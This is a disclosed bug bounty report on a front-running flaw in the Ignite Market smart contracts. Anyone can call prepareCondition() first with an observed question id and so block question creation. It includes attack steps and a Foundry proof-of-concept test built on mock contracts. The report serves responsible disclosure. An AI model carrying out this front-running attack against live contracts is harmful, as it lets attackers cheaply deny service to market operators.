Ignite Market Disclosed Report

Question creation can be repeatedly reverted by front-running the id

Created date
May 09 2025

Target

https://github.com/hackenproof-public/ignite-market-smart-contracts

Vulnerability Details

The IgniteOracle.sol contract is the main entry-point for creation of questions and their finalizations and voting. It does a bunch of necessary sanity checks for the provided question parameters and the protocol specific API sources, after which it invokes the ConditionalTokens.sol's prepareCondition(), providing the condition id, it's own address and the outcome slots. This is mostly forked logic, however it contains a front-running risk, due to:

  1. prepareCondition()'s permissionless availability
  2. Flare network's public mempool/pending transactions explorer

The core of the vulnerability is point 1, since looking the prepareCondition():

    function prepareCondition(address oracle, bytes32 questionId, uint outcomeSlotCount) external {
        require(outcomeSlotCount <= 256, "too many outcome slots");
        require(outcomeSlotCount > 1, "there should be more than one outcome slot");
        bytes32 conditionId = CTHelpers.getConditionId(oracle, questionId, outcomeSlotCount);
        require(payoutNumerators[conditionId].length == 0, "condition already prepared");
        payoutNumerators[conditionId] = new uint[](outcomeSlotCount);
        emit ConditionPreparation(conditionId, oracle, questionId, outcomeSlotCount);
    }

It does not do any check on the caller, as long as we provide valid parameters. However, the function itself makes sure that the provided question id has not been yet prepared. This opens up the possible path:

  1. The admin attempts to initialize a question and invokes initializeQuestion() with the correct parameters and an arbitrary question id
  2. The transaction occupies Flare's pending list, which any actor can observe
  3. A malicious actor sees the transaction and front-runs it via directly calling ConditionalTokens#prepareCondition() and passing the oracle address, question id and outcome slots
  4. The admin's transaction will fail due to the condition being already prepared

Since there is no question behind the arbitrarily prepared condition, it cannot be finalized nor voted for either, resulting in a DOS of the initialization for no cost, except for the gas it takes to front-run, which is fairly low on Flare

An article on the same vulnerability, found on the famous platform Polymarket, by Trust Security, can be found here: https://www.trust-security.xyz/post/no-more-bets

Validation steps

Below, there is a POC, written in Foundry, that utilizes mock contracts and minimalistic versions of the vulnerable contracts, in order to isolate only the logic that leads to the DOS. It showcases that preparing the condition before question initialization leads to a revert, which can be repeated indefinitely

// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;

import "forge-std/Test.sol";

contract ConditionalTokensMock {
    mapping(bytes32 => bool) public conditions;

    function prepareCondition(address oracle, bytes32 questionId, uint outcomeSlotCount) external {
        bytes32 conditionId = keccak256(abi.encodePacked(oracle, questionId, outcomeSlotCount));
        require(!conditions[conditionId], "Condition already prepared");
        conditions[conditionId] = true;
    }

    function reportPayouts(bytes32, uint[] calldata) external {
        // noop
    }
}

interface IJsonApiVerification {
    function verifyJsonApi(bytes calldata proof) external view returns (bool);
}

interface IConditionalTokens {
    function prepareCondition(address, bytes32, uint) external;
    function reportPayouts(bytes32, uint[] calldata) external;
}

contract DummyVerification is IJsonApiVerification {
    function verifyJsonApi(bytes calldata) external pure returns (bool) {
        return true;
    }
}

contract IgniteOracle {
    enum Status { INVALID, ACTIVE, VOTING, FINALIZED }

    struct Question {
        Status status;
        bool automatic;
        uint outcomeSlotCount;
        uint apiSources;
        uint consensusPercent;
        uint endTime;
        uint resolutionTime;
        uint[] apiResolution;
        uint winnerIdx;
    }

    mapping(bytes32 => Question) public question;
    IConditionalTokens public conditionalTokens;

    constructor(address _ct) {
        conditionalTokens = IConditionalTokens(_ct);
    }

    function initializeQuestion(
        bytes32 questionId,
        uint outcomeSlotCount,
        uint consensusPercent,
        uint endTime,
        uint resolutionTime
    ) external {
        require(question[questionId].status == Status.INVALID, "Already initialized");
        require(outcomeSlotCount >= 2, "Invalid slots");
        require(consensusPercent >= 51 && consensusPercent <= 100, "Invalid consensus");
        require(endTime > block.timestamp, "End time past");
        require(resolutionTime > endTime, "Resolution must be later");

        question[questionId] = Question({
            status: Status.ACTIVE,
            automatic: false,
            outcomeSlotCount: outcomeSlotCount,
            apiSources: 0,
            consensusPercent: consensusPercent,
            endTime: endTime,
            resolutionTime: resolutionTime,
            apiResolution: new uint[](outcomeSlotCount),
            winnerIdx: type(uint).max
        });

        conditionalTokens.prepareCondition(address(this), questionId, outcomeSlotCount);
    }
}

contract PrepareConditionFrontRunTest is Test {
    IgniteOracle public oracle;
    ConditionalTokensMock public ct;

    address attacker = address(0xBEEF);
    bytes32 constant QID = keccak256("test-question");
    uint256 constant SLOT_COUNT = 3;

    function setUp() public {
        ct = new ConditionalTokensMock();
        oracle = new IgniteOracle(address(ct));
    }

    function testFrontRunPreventsInitialize() public {
        // Simulate attacker front-running prepareCondition
        vm.prank(attacker);
        ct.prepareCondition(address(oracle), QID, SLOT_COUNT);

        // Now attempt to initialize as the legitimate admin
        vm.expectRevert("Condition already prepared");

        oracle.initializeQuestion(
            QID,
            SLOT_COUNT,
            80,                            // consensus
            block.timestamp + 1 days,      // endTime
            block.timestamp + 2 days       // resolutionTime
        );
    }
}

Attachments

hidden
CommentsReport History
Comments on this report are hidden
Details
Statedisclosed
Severity
Medium
Bounty$125
Visibilitypartially
VulnerabilityTransaction-Ordering Dependence (TOD) / Front Running
Participants (3)
company admin
author